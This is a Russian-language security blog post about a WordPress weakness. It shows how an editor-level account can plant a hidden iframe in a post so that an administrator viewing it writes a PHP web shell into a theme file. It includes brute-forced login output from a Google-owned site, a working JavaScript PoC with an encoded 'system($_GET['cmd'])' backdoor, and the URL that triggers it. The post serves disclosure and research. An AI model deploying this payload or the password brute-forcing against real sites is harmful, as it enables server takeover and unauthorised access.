WordPress: небезопасен из коробки — получаем RCE с правами редактора. И еще о Google, стартапе и 1 миллиарде долларов

в 11:23, , рубрики: wordpress, Блог компании «Digital Security», информационная безопасность, метки:

Всем приятного чтения. Я хочу рассказать о небезопасной фиче во всемирно известном движке для блогов — WordPress, которая присутствует в нем уже долгое время. О ней многим известно (в т.ч. эту возможность признают как «законную» сами разработчики), но я точно не уверен, описывал ли кто-то её использование именно в предлагаем в статье векторе атаки (лично я найти не смог).

Множество компаний, таких как Microsoft, Nokia, Google используют WordPress. Администраторы блогов выдают права редакторов своим PR-службам… И вот тут главный момент — в WordPress только две роли имеют права использовать javascript внутри постов — администраторы и редакторы.

Вся идея в одно предложение: создаём пост, содержащий зловредный JS. Если администратор открывает наш пост — мы получаем Remote Command Execution.

Несколько дней назад у меня появилось время и желание покопать какой-нибудь сайт Google. За цель был взят стартап — waze.com, купленный Google за 1 миллиард $. Сразу же был найден WordPress, и я решил перебрать пароли юзеров по довольно малой базе — rockyou-75.txt. Проснувшись утром увидел заветное:


[+] Starting the password brute forcer

  [SUCCESS] Login : di-ann Password : illuminati


  +----+--------+------+------------+
  | Id | Login  | Name | Password   |
  +----+--------+------+------------+
  |    | di-ann |      | illuminati |
  +----+--------+------+------------+

[+] Finished at Sat Sep  7 09:47:27 2013
[+] Elapsed time: 00:42:52
Exiting!

Бинго! Нашелся пароль от пользователя, с правами редактора. Конечно же сразу захотелось получить RCE на сервере. Но… известные способы сообщают, что нужно иметь права администора блога. Тогда шелл можно залить через:

  • Редактирование тем и внедрение своего PHP кода;
  • Заливка своего модуля с вредоносным кодом.

Эти же действия мы можем сделать через js. создаём пост под редактором, в котором открываем скрытый iframe, и в нем выполняем нужные действия. Если пост откроет админ — мы получим RCE.

PoC exploit:

<iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' style='display:none' onload="if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) {evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='); evilframe.document.getElementById('submit').click();}"></iframe> 

Построчно:

iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' // создаём iframe с редактированием шаблона страницы 404 текущей темы (twentythirteen)
style='display:none'  //  делаем iframe невидимым
onload= // как только загрузился
if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) // проверяем, что шаблон темы уже не содержит backdoor (вызов функции system)
evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='// добавляем к текущему значению темы код <?php @system($_GET['cmd']); ?>
evilframe.document.getElementById('submit').click() // сохраняем тему

Также мы можем выполнять любые действия под администратором, например:

  • Создавать нового пользователя с правами администратора;
  • Изменить пароль админу (т.к. в WordPress не требуется старый пароль при его смене);
  • Изменять пароль любому юзеру;
  • И любые другие действия, доступные только админу.

Итак, с помощью PoC кода выше мы внедрим бэкдор в шаблон темы twentythirteen страницы 404, как только любой авторизованный админ откроет наш пост. Это касается в т.ч. последней версии WordPress — 3.6.1

После внедрения бэкдора RCE будет доступен по следующему запросу:

http://localhost/wordpress/?p=123123123&cmd=id

В случае с Google я не стал внедрять код выше, а просто записал видео, как можно получить RCE. Они сразу же удалили WordPress и переехали на blogger.com. Правильное решение. Также я нашел и другие баги, но не получил денег, так как ресурс находится в blackout периоде (6 месяцев после покупки). Но добавили в зал славы :-)

Демо (которое было отправлено в Google):

Автор: BeLove

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js